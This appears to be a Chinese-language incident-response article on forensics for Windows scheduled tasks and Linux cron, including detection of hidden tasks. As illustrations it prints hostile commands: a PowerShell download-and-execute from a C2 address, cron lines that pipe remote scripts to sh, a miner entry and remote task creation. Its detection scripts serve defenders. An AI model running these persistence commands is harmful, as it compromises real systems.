计划任务检查结果与持久化意图及隐藏任务检测分析

计划任务检查结果与持久化意图及隐藏任务检测分析

0x02电子取证/计划任务检查 给出了 Windows 下 schtasks 命令行和 Autoruns 计划任务标签页、Linux 下 crontab 的基础取证入口。到了 0x03取证分析,已有文章 启动项检查结果异常判断与入侵关联分析 覆盖了启动项层面的异常判断。本文换一个角度:不讨论所有持久化技术的通用分析,而是聚焦于计划任务这一单一取证项,深入分析 schtasks 输出结果中哪些字段有取证价值、如何判断一个计划任务是否恶意、如何发现攻击者刻意隐藏的计划任务、以及 Linux cron 取证中的关键陷阱。

计划任务是 MITRE ATT&CK 中 T1053(Scheduled Task/Job)的核心子技术,横跨执行(Execution)、持久化(Persistence)、权限提升(Privilege Escalation)三个战术域。Red Canary 的 2025 年威胁检测报告显示,计划任务滥用是检测量最高的持久化技术之一,攻击者最常使用 /Create 标志创建任务,并以 SYSTEM 权限运行恶意载荷。Picus Labs 对 48,813 个恶意样本的分析发现,计划任务是第七大最常见的 ATT&CK 技术。在实战应急响应中,几乎每一例入侵事件都需要审查计划任务——但很多分析人员只停留在"列出所有任务"这一步,不知道如何从结果中读出攻击者的持久化意图。


0x01 Windows 计划任务的存储架构与取证数据源

1. 计划任务的四层存储位置

Windows 计划任务在磁盘上存在四层存储位置,每一层都有不同的取证价值:

第一层:XML 文件(C:\Windows\System32\Tasks\)

从 Windows Vista 开始,计划任务以 XML 文件形式存储在 C:\Windows\System32\Tasks\ 目录下,目录结构镜像了任务计划程序的层次化文件夹结构。每个 XML 文件包含完整的任务定义:触发器(Trigger)、操作(Action)、运行身份(Principal)、条件(Conditions)和设置(Settings)。

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2026-06-15T03:22:00</Date>
    <Author>DESKTOP-ABC123\Administrator</Author>
    <Description>Windows Update Scheduler</Description>
  </RegistrationInfo>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Triggers>
    <TimeTrigger>
      <StartBoundary>2026-06-15T03:22:00</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
    <Repetition>
      <Interval>PT30M</Interval>
      <StopAtDurationEnd>false</StopAtDurationEnd>
    </Repetition>
  </Triggers>
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c "IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/payload'))"</Arguments>
    </Exec>
  </Actions>
</Task>

取证价值:XML 文件是计划任务最完整的取证数据源。即使注册表中的 SD 值被删除(隐藏任务技术),XML 文件仍然存在于磁盘上。在取证分析中,应当直接检查 C:\Windows\System32\Tasks\ 目录下的 XML 文件,而不是仅依赖 schtasks /query 的输出。

第二层:注册表(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\)

注册表中的 TaskCache 包含三个关键子键:

  • Tree\<任务名称>:包含任务的元数据(Id、Index、SD 安全描述符)
  • Tasks\{GUID}:包含任务的核心配置(Path、URI、Triggers、Date、Author、Description)
  • <触发器类型>\{GUID}:包含触发器的具体定义(如 Logon、Boot、Time 等)

SD(Security Descriptor)值是取证分析的关键目标。SD 定义了任务的安全描述符,控制哪些用户和进程可以读取、修改和执行该任务。当攻击者删除 SD 值时,schtasks /query、Autoruns 和任务计划程序 GUI 都无法枚举该任务的详细信息——这就是 Tarrask 恶意软件的隐藏技术。

第三层:旧版 .job 文件(C:\Windows\Tasks\)

为了向后兼容 Windows XP 及更早版本,C:\Windows\Tasks\ 目录下仍然存储 .job 文件。这些文件使用二进制格式(非 XML),包含任务的触发器数据和操作路径。虽然现代攻击者很少使用 .job 文件格式创建任务,但在取证分析中不应忽略这个位置。

第四层:事件日志

计划任务的创建、修改和删除会产生以下事件日志:

事件 ID日志来源含义默认启用
106Microsoft-Windows-TaskScheduler/Operational任务已注册
140Microsoft-Windows-TaskScheduler/Operational任务已更新
141Microsoft-Windows-TaskScheduler/Operational任务已删除
4698Security已创建计划任务否(需启用高级审核策略)
4699Security已删除计划任务
4700Security已重新启用计划任务
4701Security已禁用计划任务
4702Security已更新计划任务

关键问题:Event ID 4698 需要启用高级审核策略 Audit Other Object Access Events 才能记录,而默认情况下这个策略是未启用的。这意味着在很多环境中,安全日志中不会有计划任务创建的记录。TaskScheduler/Operational 日志(Event ID 106)是默认启用的,但攻击者可以清除这些日志。


0x02 schtasks 输出结果的取证分析

1. schtasks /query 的核心字段解读

schtasks /query /fo LIST /v

输出中的关键字段及其取证含义:

TaskName(任务名称)

攻击者通常会将任务名称伪装成合法的 Windows 组件名称。以下是实战中常见的伪装策略:

  • 模仿 Windows 更新:WindowsUpdateWindows Update SchedulerSvcRestartTask
  • 模仿系统维护:SystemMonitorDiskCleanupTelemetryController
  • 模仿安全软件:DefenderScanSecurityHealthCheck
  • 模仿已知软件:GoogleUpdateAdobeUpdateService

取证判断:不要信任任务名称。任务名称只是攻击者可以随意设置的字符串。真正的取证价值在 Task To Run(执行命令)和 Run As User(运行身份)字段中。一个名为 MicrosoftCrashHandlerUAC 的任务,如果执行的是 cmd.exe /c powershell -enc <base64>,那就是恶意的。

Task To Run / Action(执行命令)

这是取证分析的核心字段。需要关注以下维度:

  • 执行路径是否指向可疑目录(C:\Users\Public\C:\Windows\Temp\C:\ProgramData\%APPDATA%
  • 是否使用了 LOLBin(Living-off-the-Land Binary):cmd.exepowershell.exerundll32.exemshta.execertutil.exebitsadmin.exewscript.execscript.exeregsvr32.exe
  • 命令行参数是否包含隐蔽标志:-WindowStyle hidden-NoLogo-NonInteractive-ep bypass-nop-enc(Base64 编码)
  • 是否包含网络下载行为:downloadstringInvoke-WebRequestwgetcurl
  • 是否指向 SYSVOL 或 ADMIN$ 共享(横向移动指标)

Run As User(运行身份)

  • SYSTEM(NT AUTHORITY\SYSTEM):最高权限,攻击者的首选目标
  • Administrator:管理员权限
  • 普通用户:可能是低权限持久化,也可能是攻击者尚未提权

取证判断:如果一个非 Microsoft 签名的可执行文件以 SYSTEM 权限运行,且执行路径不在 C:\Windows\System32\ 下,那这个任务高度可疑。

Trigger / Schedule(触发器)

触发器类型揭示了攻击者的持久化策略:

触发器类型含义攻击场景
At logon / ONLOGON用户登录时执行最常见的持久化方式,每次用户登录都会触发
At startup / ONSTART系统启动时执行比 ONLOGON 更隐蔽,不需要用户登录
ONIDLE系统空闲时执行用于非紧急的后台任务,如数据外泄
Time-based / DAILY定时执行用于 C2 回连、数据收集等周期性任务
MINUTE / HOURLY高频重复执行极短的重复间隔(如每 3-5 分钟)是红旗指标
ONEVENT特定事件触发高级攻击者使用,如特定 Event ID 出现时触发

取证判断:重复间隔小于 10 分钟的计划任务应当被视为高度可疑。正常的系统维护任务通常是每天或每周执行一次,不会每 3 分钟执行一次。

2. 典型恶意计划任务的输出样例

样例一:PowerShell 下载执行(ONLOGON 触发)

TaskName: \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask
Status: Ready
Next Run Time: At logon
Logon Trigger: Any user
Run As User: SYSTEM
Task To Run: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c "IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/ZPWLywg'))"
Start Time: N/A
Start Date: N/A
Repeat: Every 30 Minute(s)

分析要点:

  • 任务名称伪装成 Microsoft 软件保护平台的合法任务
  • 路径指向合法的 PowerShell 解释器,但命令行参数包含多个隐蔽标志
  • 以 SYSTEM 权限运行
  • 每 30 分钟重复执行,确保 C2 连接持续活跃
  • 使用 net.webclient.downloadstring 从远程服务器下载并执行载荷
  • 证据强度:确认恶意 — 合法的 Microsoft 任务不会包含网络下载和 Base64 编码的 PowerShell 执行

样例二:CMD 执行批处理脚本(DAILY 触发)

TaskName: \WindowsUpdate
Status: Ready
Next Run Time: 03:22:00 06/23/2026
Run As User: SYSTEM
Task To Run: cmd.exe /c C:\Users\Public\payload.bat
Start Time: 03:22:00
Start Date: DAILY
Repeat: Disabled

分析要点:

  • 任务名称伪装成 Windows 更新
  • 执行路径指向 C:\Users\Public\,这是一个所有用户可写的目录
  • 使用 cmd.exe /c 执行批处理脚本
  • 每天凌晨 03:22 执行,选择低活动时间段
  • 证据强度:高度可疑 — 合法的 Windows 更新任务不会执行 C:\Users\Public\ 下的脚本

样例三:rundll32 加载 DLL(AT LOGON 触发)

TaskName: \SecurityHealthCheck
Status: Ready
Next Run Time: At logon
Run As User: NT AUTHORITY\SYSTEM
Task To Run: rundll32.exe C:\ProgramData\security\update.dll,StartW
Start Time: N/A
Start Date: N/A
Repeat: Disabled

分析要点:

  • 使用 rundll32.exe 加载 DLL,这是一种常见的 LOLBin 技术
  • DLL 位于 C:\ProgramData\ 目录,这是一个常见的恶意软件存放位置
  • StartW 是 DLL 导出函数名
  • 证据强度:高度可疑 — 需要进一步检查 DLL 的数字签名和哈希值

0x03 Autoruns 中计划任务标签页的深度分析

1. Autoruns 的计划任务检查能力

Autoruns 的 Scheduled Tasks 标签页是应急响应中最常用的计划任务检查工具。它从注册表和 XML 文件中读取所有计划任务,并显示以下信息:

Image Path:     C:\Windows\System32\cmd.exe
Entry:          \Microsoft\Windows\WindowsUpdate\SvcRestartTask
Entry Location: Scheduled Task
Enabled:        enabled
Publisher:      (Verified) Microsoft Windows
Description:    Windows Update Service Restart Task
Category:       Scheduled Tasks
Profile:        System
Image Date:     2026-06-15 03:22
Version:        10.0.19041.1
Launch String:  cmd.exe /c C:\Windows\Temp\update.bat

2. Autoruns 输出的取证分析维度

Publisher(发布者)与数字签名

Autoruns 会自动检查可执行文件的数字签名。如果 Publisher 列显示为空或 (No publisher),说明该文件没有数字签名。如果显示 (Verified) 加上合法的发布者名称(如 Microsoft Windows),则说明文件有有效的数字签名。

取证判断:如果一个计划任务的 Launch String 指向一个没有数字签名的可执行文件,或者签名验证失败,这是重要的可疑指标。但要注意:攻击者可以使用合法的签名二进制文件(如 cmd.exepowershell.exe)作为代理执行器,此时 Publisher 列会显示合法的签名信息。真正的取证价值在 Launch String 的完整命令行中。

Image Date(文件日期)

Autoruns 显示可执行文件的 PE 时间戳。如果这个日期明显晚于操作系统的安装日期或任务的创建日期,说明该文件可能是后来放置的。

取证判断:将 Image Date 与任务创建时间(来自 Event ID 106)和系统安装时间进行交叉比对。如果 Image Date 晚于任务创建时间,或者 Image Date 与已知入侵时间窗口吻合,这是关联分析的重要线索。

Enabled(启用状态)

Autoruns 显示任务是否启用。在取证分析中,即使任务被禁用,也不应忽略——攻击者可能创建了多个任务,只启用其中一个,其余作为备用持久化机制。

3. Autoruns 的局限性

Autoruns 虽然功能强大,但在以下场景中会失效:

  • 隐藏计划任务:当 SD(Security Descriptor)注册表值被删除时,Autoruns 无法读取任务的详细信息
  • 直接注册表创建的任务:如果攻击者直接写入注册表键而不通过 Task Scheduler API,Autoruns 可能无法正确解析
  • 内存中的任务:某些高级攻击技术可以在内存中创建计划任务,不在磁盘上留下任何痕迹

因此,Autoruns 的输出不应作为计划任务检查的唯一数据源。必须结合 schtasks /query、XML 文件直接检查、注册表分析和事件日志审查进行交叉验证。


0x04 事件日志中的计划任务取证

1. TaskScheduler/Operational 日志分析

Event ID 106(任务已注册)是最关键的计划任务创建事件:

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-TaskScheduler" />
    <EventID Qualifiers="16384">106</EventID>
    <Level>4</Level>
    <TimeCreated SystemTime="2026-06-15T03:22:00.000Z" />
    <Channel>Microsoft-Windows-TaskScheduler/Operational</Channel>
    <Computer>DESKTOP-ABC123</Computer>
  </System>
  <EventData>
    <Data Name="TaskName">\Microsoft\Windows\WindowsUpdate\SvcRestartTask</Data>
    <Data Name="UserContext">DESKTOP-ABC123\Administrator</Data>
    <Data Name="ActionName">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c "IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/payload'))"</Data>
  </EventData>
</Event>

取证分析要点:

  • TaskName 字段揭示了任务的完整路径(包括文件夹层次)
  • UserContext 字段揭示了创建任务的用户身份
  • ActionName 字段揭示了任务的执行命令,这是判断任务是否恶意的核心依据

2. Security 日志中的 Event ID 4698

Event ID 4698 在 Security 日志中记录计划任务的创建,但需要启用高级审核策略:

<Event>
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" />
    <EventID>4698</EventID>
    <TimeCreated SystemTime="2026-06-15T03:22:00.000Z" />
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">Administrator</Data>
    <Data Name="SubjectDomainName">DESKTOP-ABC123</Data>
    <Data Name="TaskName">\Microsoft\Windows\WindowsUpdate\SvcRestartTask</Data>
    <Data Name="TaskContent">
      <?xml version="1.0" encoding="UTF-16"?>
      <Task version="1.4">
        <Actions Context="Author">
          <Exec>
            <Command>powershell.exe</Command>
            <Arguments>-WindowStyle hidden -NoLogo -ep bypass -nop -c "IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/payload'))"</Arguments>
          </Exec>
        </Actions>
      </Task>
    </Data>
  </EventData>
</Event>

取证价值:Event ID 4698 的 TaskContent 字段包含了完整的任务 XML 定义,这是最详细的计划任务创建记录。即使攻击者后来删除了任务本身(Event ID 141/4699),4698 事件仍然保留了任务的完整定义。

3. 事件日志关联分析

将计划任务事件与其他事件日志关联,可以构建更完整的攻击时间线:

时间线示例:

2026-06-15 03:20:00  Event ID 4624 (Security) — 类型 10 远程交互登录
                     用户: Administrator
                     来源 IP: 10.0.2.21
                     → 攻击者通过 RDP 或 PsExec 登录

2026-06-15 03:21:00  Event ID 4688 (Security) — 进程创建
                     父进程: cmd.exe
                     新进程: schtasks.exe
                     命令行: schtasks /create /tn "SvcRestartTask" /tr "powershell.exe -ep bypass -nop -c ..." /sc onlogon /ru SYSTEM
                     → 攻击者创建计划任务

2026-06-15 03:22:00  Event ID 106 (TaskScheduler/Operational) — 任务已注册
                     任务名: \Microsoft\Windows\WindowsUpdate\SvcRestartTask
                     → 计划任务创建确认

2026-06-15 03:25:00  Event ID 4688 (Security) — 进程创建
                     父进程: svchost.exe (Task Scheduler 服务)
                     新进程: powershell.exe
                     命令行: powershell.exe -WindowStyle hidden -NoLogo -ep bypass -nop -c "IEX ..."
                     → 计划任务触发执行

2026-06-15 03:25:05  Event ID 5156 (Security) — 出站网络连接
                     源 IP: 10.0.1.50
                     目标 IP: 10.0.2.21
                     目标端口: 8080
                     → PowerShell 回连 C2 服务器

这条时间线清晰地展示了从远程登录到计划任务创建、执行、C2 回连的完整攻击链。每个事件都有独立的时间戳和上下文,可以相互验证。


0x05 隐藏计划任务的检测与分析

1. Tarrask 隐藏技术原理

2022 年 4 月,Microsoft DART(Detection and Response Team)披露了一种名为 Tarrask 的恶意软件,它使用了一种创新的计划任务隐藏技术。这种技术后来被多个 APT 组织采纳,包括 APT29、APT3、APT41 等。

Tarrask 的隐藏原理基于 Windows 计划任务的安全描述符(SD)机制:

当创建一个新的计划任务时,Windows 会在注册表中创建以下键值:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\<TaskName>
  ├── Id: <GUID>
  ├── Index: <DWORD>
  └── SD: <BINARY> (Security Descriptor)

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}
  ├── Path: <任务路径>
  ├── URI: <任务URI>
  ├── Triggers: <触发器数据>
  ├── Date: <创建时间>
  ├── Author: <创建者>
  └── Description: <描述>

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\<TriggerType>\{GUID}
  └── <触发器特定数据>

Tarrask 的操作是:创建计划任务后,以 SYSTEM 权限删除 Tree\<TaskName> 下的 SD 值。

删除 SD 值后的效果:

  • schtasks /query 无法枚举该任务(返回权限不足)
  • Autoruns 无法读取该任务的详细信息
  • 任务计划程序 GUI 无法显示该任务
  • 但任务仍然会按计划执行

2. Tarrask 的实际案例

Microsoft DART 在调查 HAFNIUM(后更名为 Silk Typhoon)活动时发现了 Tarrask 的使用。攻击链如下:

  1. HAFNIUM 利用 Zoho ManageEngine 的 REST API 认证绕过漏洞获取初始访问
  2. 部署 Godzilla Web Shell
  3. 使用 Impacket 工具进行横向移动
  4. 创建名为 WinUpdate 的计划任务,用于维持 C2 连接
  5. 删除 SD 值隐藏该计划任务
  6. Tarrask 通过窃取 lsass.exe 进程的令牌获取 SYSTEM 权限,用于执行 SD 删除操作

3. 检测隐藏计划任务的方法

方法一:注册表直接检查

即使 SD 值被删除,注册表中的其他键值仍然存在。检查以下路径:

# 检查 TaskCache\Tree 下的所有子键
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree" -Recurse | ForEach-Object {
    $name = $_.PSChildName
    $values = $_.GetValueNames()
    $hasSD = $values -contains "SD"
    if (-not $hasSD) {
        Write-Host "[ALERT] Task without SD value: $name" -ForegroundColor Red
    }
}

取证判断:任何 TaskCache\Tree 下缺少 SD 值的子键都应当被视为高度可疑。正常的计划任务不可能缺少 SD 值。

方法二:XML 文件直接检查

即使 SD 值被删除,C:\Windows\System32\Tasks\ 目录下的 XML 文件仍然存在。直接枚举该目录下的所有文件:

# 枚举所有计划任务 XML 文件
Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File | ForEach-Object {
    $content = Get-Content $_.FullName -Raw
    $taskName = $_.Name
    # 检查是否包含可疑命令
    if ($content -match "powershell|cmd\.exe|rundll32|mshta|certutil|bitsadmin") {
        Write-Host "[ALERT] Suspicious task XML: $taskName" -ForegroundColor Red
        Write-Host $content
    }
}

方法三:TaskCache\Tasks 子键检查

TaskCache\Tasks\{GUID} 子键包含了所有已注册任务的核心配置,即使 Tree 下的 SD 值被删除,Tasks 下的 GUID 子键仍然存在:

# 检查 TaskCache\Tasks 下的所有 GUID 子键
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" | ForEach-Object {
    $guid = $_.PSChildName
    $path = (Get-ItemProperty $_.PSPath).Path
    $uri = (Get-ItemProperty $_.PSPath).URI
    Write-Host "GUID: $guid | Path: $path | URI: $uri"
}

取证判断:将 TaskCache\Tasks 中的 GUID 列表与 schtasks /query 的输出进行对比。如果 TaskCache\Tasks 中有 GUID 但 schtasks /query 中没有对应的任务,说明存在隐藏任务。

方法四:Binary Defense ARC Labs 的 SDDL 检测方法

Binary Defense 的 ARC Labs 进一步研究发现,攻击者还可以使用有效的 SDDL(Security Descriptor Definition Language)值来拒绝读取访问,而不是直接删除 SD 值。这种方法更加隐蔽,因为 SD 值仍然存在,但被设置为拒绝所有用户读取。

# 检查所有任务的 SD 值,查找可疑的 SDDL
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree" -Recurse | ForEach-Object {
    $sd = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).SD
    if ($sd) {
        $sdString = [System.BitConverter]::ToString($sd)
        # 检查是否包含 DENY ACE(Access Control Entry)
        if ($sdString -match "01000480") {
            Write-Host "[ALERT] Task with suspicious SD (possible DENY ACE): $($_.PSChildName)" -ForegroundColor Red
        }
    } else {
        Write-Host "[ALERT] Task without SD value: $($_.PSChildName)" -ForegroundColor Red
    }
}

方法五:内存取证

Witold Lawacz 的研究表明,即使注册表和磁盘上的痕迹被清除,Windows 10 内存中仍然保留了计划任务的运行时数据。通过内存取证工具(如 Volatility)可以提取内存中的计划任务信息。


0x06 计划任务滥用的攻击模式分类

1. 持久化模式

模式 A:ONLOGON 持久化

schtasks /create /tn "Updater" /tr "cmd.exe /c C:\Users\Public\beacon.exe" /sc onlogon /ru SYSTEM

特征:每次用户登录时执行,是最常见的持久化方式。攻击者选择 ONLOGON 而非 ONSTART 的原因是 ONLOGON 不需要系统重启就能触发。

模式 B:高频重复执行

schtasks /create /tn "HealthCheck" /tr "powershell.exe -ep bypass -nop -c C:\Temp\check.ps1" /sc minute /mo 5 /ru SYSTEM

特征:每 5 分钟执行一次,用于保持 C2 连接活跃或定期检查指令。高频重复是红旗指标。

模式 C:定时执行

schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svchost.exe" /sc daily /st 03:22 /ru SYSTEM

特征:每天凌晨 03:22 执行,选择低活动时间段以减少被发现的概率。

2. 横向移动模式

schtasks /create /s \\TARGET-PC /tn "Maintenance" /tr "\\DC\SYSVOL\encryptor.exe" /sc once /st 02:00 /ru SYSTEM /rp Password123

特征:使用 /s 参数在远程系统上创建计划任务。任务载荷位于 SYSVOL 共享中,表明攻击者已经获取了域管理员凭据。这种模式在勒索软件攻击中尤为常见——攻击者在域控上创建计划任务,同时在数百台终端上执行加密程序。

3. 权限提升模式

攻击者不创建新的计划任务,而是修改现有 SYSTEM 级别任务的执行路径。如果现有任务以 SYSTEM 权限运行,且其可执行文件存储在攻击者可写的目录中,攻击者可以替换该可执行文件,从而在下次任务执行时获得 SYSTEM 权限。

这种任务劫持(Task Hijacking)比创建新任务更隐蔽,因为:

  • 任务名称和路径看起来完全合法
  • 不会在事件日志中产生新的任务创建事件(Event ID 106)
  • 只会产生任务更新事件(Event ID 140),但这个事件容易被忽略

4. GPO 批量分发模式

2022 年乌克兰电力网络攻击中,Sandworm Team 通过组策略对象(GPO)批量分发恶意计划任务。GPO 中的计划任务偏好设置(Scheduled Tasks Preferences)会在组策略刷新时自动在所有受影响的终端上创建计划任务。

这种模式的特点:

  • 不需要攻击者逐台登录目标系统
  • 任务创建事件(Event ID 106)的 UserContext 显示为 SYSTEM,而不是攻击者的账户
  • 任务会在组策略刷新周期内自动创建(默认 90 分钟)
  • 即使手动删除了任务,下次组策略刷新时任务会被重新创建

0x07 Linux cron 取证分析

1. cron 的六层存储位置

Linux 系统的 cron 任务分布在六个位置,取证分析必须覆盖所有位置:

位置说明取证要点
/etc/crontab系统级 crontab包含用户名字段,可指定任务以任意用户身份运行
/etc/cron.d/系统级 cron 目录格式与 /etc/crontab 相同,攻击者可以在此创建新文件
/etc/cron.hourly/每小时执行目录放入此目录的脚本每小时自动执行
/etc/cron.daily/每天执行目录同上
/etc/cron.weekly/每周执行目录同上
/etc/cron.monthly/每月执行目录同上
/var/spool/cron/crontabs/用户级 crontab每个用户一个文件,包含该用户的 cron 任务

2. 全面审计命令

# 完整审计所有 cron 位置
echo '=== /etc/crontab ===' && cat /etc/crontab
echo '=== /etc/cron.d/ ===' && ls -la /etc/cron.d/ && cat /etc/cron.d/*
echo '=== /etc/cron.hourly/ ===' && ls -la /etc/cron.hourly/
echo '=== /etc/cron.daily/ ===' && ls -la /etc/cron.daily/
echo '=== /etc/cron.weekly/ ===' && ls -la /etc/cron.weekly/
echo '=== /etc/cron.monthly/ ===' && ls -la /etc/cron.monthly/
echo '=== User crontabs ===' && ls -la /var/spool/cron/crontabs/ 2>/dev/null

# 遍历所有用户检查 crontab
for u in $(cut -f1 -d: /etc/passwd); do
    jobs=$(crontab -l -u "$u" 2>/dev/null)
    [ -n "$jobs" ] && echo "--- $u ---" && echo "$jobs"
done

3. 恶意 cron 任务的特征模式

模式 A:反向 Shell 持久化

*/11 * * * * wget -O - -q http://malicious.url/pics/logo.jpg|sh

分析要点:

  • 每 11 分钟执行一次
  • 使用 wget 从远程服务器下载脚本并通过 sh 执行
  • 文件伪装成图片(logo.jpg),实际是 shell 脚本
  • 证据强度:确认恶意 — 合法的 cron 任务不会从外部 URL 下载并执行脚本

模式 B:隐蔽载荷传递

*/5 * * * * curl http://malicious.url/malicious.png -k|dd skip=2446 bs=1|sh

分析要点:

  • 每 5 分钟执行一次
  • 使用 curl 下载伪装成 PNG 图片的文件
  • 使用 dd skip=2446 跳过文件头部的 PNG 数据,提取嵌入的恶意载荷
  • 通过管道传递给 sh 执行
  • 证据强度:确认恶意 — 这是一种隐蔽的信道技术,合法任务不会使用

模式 C:服务账户滥用

# 在 www-data 用户的 crontab 中
0 */4 * * * /tmp/.hidden/miner --pool stratum+tcp://pool.minexmr.com:4444 --wallet <address>

分析要点:

  • 攻击者利用被入侵的 Web 应用账户(www-data)创建 crontab
  • 每 4 小时执行一次加密货币挖矿程序
  • 可执行文件隐藏在 /tmp/.hidden/ 目录中
  • 证据强度:确认恶意 — www-data 账户不应当有 crontab,更不应当运行挖矿程序

4. cron 取证的关键陷阱

陷阱一:容器环境中的 cron 证据丢失

容器化部署中,cron 任务可能存在于容器的临时文件系统中。当容器被终止或重建时,所有 cron 证据都会丢失。攻击者利用这一点,在容器中设置 cron 持久化,即使管理员删除了容器,cron 任务仍然存在于其他基础设施中。

陷阱二:anacron 的干扰

anacron 是 cron 的补充工具,用于处理系统关机期间错过的 cron 任务。anacron 的时间戳文件位于 /var/spool/anacron/,修改时间可以揭示任务的实际执行时间。在取证分析中,需要同时检查 cronanacron 的配置。

陷阱三:/etc/cron.allow 和 /etc/cron.deny 的误导

如果 /etc/cron.allow 存在,只有其中列出的用户才能使用 crontab。如果 /etc/cron.deny 存在,其中列出的用户不能使用 crontab。攻击者可能修改这些文件以允许自己的账户使用 cron,或者将恶意用户添加到 /etc/cron.allow 中。

5. systemd timers 取证

现代 Linux 系统还支持 systemd timers 作为 cron 的替代方案。systemd timers 由两个文件组成:

  • .service 文件:定义要执行的服务
  • .timer 文件:定义执行时间
# 检查所有 systemd timers
systemctl list-timers --all

# 检查自定义 timers
find /etc/systemd/system/ /usr/lib/systemd/system/ -name "*.timer" -type f
find /etc/systemd/system/ /usr/lib/systemd/system/ -name "*.service" -type f | xargs grep -l "ExecStart"

取证要点:systemd timers 比 cron 更隐蔽,因为很多系统管理员不习惯检查 systemd timers。攻击者可以利用这一点,使用 systemd timers 替代 cron 来实现持久化。


0x08 公开案例中的计划任务取证

案例一:SolarWinds SUNSPOT — 计划任务在供应链攻击中的角色

2020 年 12 月披露的 SolarWinds 供应链攻击是历史上最复杂的供应链攻击之一。CrowdStrike 的技术分析揭示了 SUNSPOT 恶意软件如何利用计划任务实现持久化。

SUNSPOT 的可执行文件名为 taskhostsvc.exe(伪装成 Windows 系统进程 taskhost.exe),通过一个设置为系统启动时执行的计划任务维持持久化。该任务以 SYSTEM 权限运行,并获得了 SeDebugPrivilege 权限——这使得 SUNSPOT 能够读取其他进程的内存。

SUNSPOT 的工作流程:

  1. 系统启动时通过计划任务自动执行
  2. 监控 MsBuild.exe(Visual Studio 编译组件)进程
  3. 在编译过程中替换 Orion 源代码文件,注入 SUNBURST 后门
  4. 编译完成后删除后门代码,恢复原始文件名
  5. 验证编译过程没有产生错误,避免引起开发者注意

取证启示:这个案例展示了计划任务在高级持续性威胁中的角色——不是直接执行恶意载荷,而是作为持久化机制确保恶意工具在系统重启后仍然可用。在取证分析中,发现 taskhostsvc.exe 这个进程名本身就应当引起警觉——合法的 Windows 进程是 taskhost.exetaskhostw.exe,不是 taskhostsvc.exe

案例二:Tarrask / HAFNIUM — 隐藏计划任务的防御规避

2022 年 4 月 Microsoft DART 披露的 Tarrask 恶意软件展示了隐藏计划任务的技术。如前文所述,Tarrask 通过删除 SD 注册表值来隐藏计划任务,使 schtasks /query、Autoruns 和任务计划程序 GUI 都无法发现该任务。

Tarrask 的完整攻击链:

  1. HAFNIUM 利用 Zoho ManageEngine 漏洞获取初始访问
  2. 部署 Godzilla Web Shell
  3. 使用 Impacket 进行横向移动
  4. 创建名为 WinUpdate 的计划任务
  5. 窃取 lsass.exe 的 SYSTEM 令牌
  6. 使用 SYSTEM 权限删除 SD 注册表值
  7. 计划任务变为"隐藏"状态,但仍然按计划执行

取证启示:这个案例证明了单一工具检查的不足。如果只使用 schtasks /query 或 Autoruns,调查人员可能完全错过隐藏的计划任务。必须结合注册表直接检查和 XML 文件检查来发现隐藏任务。

案例三:2022 乌克兰电力网络攻击 — GPO 批量分发计划任务

2022 年乌克兰电力网络攻击中,Sandworm Team 通过组策略对象(GPO)批量分发恶意计划任务,在多个组织的数百台终端上执行 CaddyWiper 数据擦除工具。

攻击流程:

  1. 攻击者获取域管理员权限
  2. 创建包含恶意计划任务的 GPO
  3. GPO 链接到目标 OU(组织单位)
  4. 组策略刷新时,所有受影响的终端自动创建计划任务
  5. 计划任务在预定时间执行 CaddyWiper

取证启示:当在多台终端上发现相同的恶意计划任务时,应当怀疑 GPO 分发。检查 Active Directory 中的 GPO 配置,特别是 Scheduled Tasks Preferences(位于 Computer Configuration > Preferences > Control Panel Settings > Scheduled Tasks)。即使手动删除了终端上的任务,GPO 仍然会在下次刷新时重新创建。

案例四:Kaseya VSA 供应链攻击 — 计划任务在勒索软件中的角色

2021 年 7 月的 Kaseya VSA 供应链攻击中,REvil 勒索软件通过 Kaseya 的远程管理工具在数百家企业的数千台终端上部署。攻击链中使用了计划任务来实现批量执行。

攻击者通过 Kaseya VSA 的 AgentMonitor.exe 漏洞注入恶意代码,在受管理的终端上创建计划任务,执行勒索软件加密程序。计划任务的使用使得攻击者可以在预定时间同时启动所有终端上的加密过程,最大化破坏效果。


0x09 证据强度分层

1. 确认恶意(Confirmation Level)

以下条件满足任意一项即可确认计划任务恶意:

  • 执行命令包含从外部 URL 下载并执行代码的行为(downloadstringInvoke-WebRequestwget | sh
  • 执行命令包含 Base64 编码的 PowerShell(-enc 参数后跟 Base64 字符串)
  • 执行路径指向用户可写目录(C:\Users\Public\C:\Windows\Temp\)且文件无数字签名
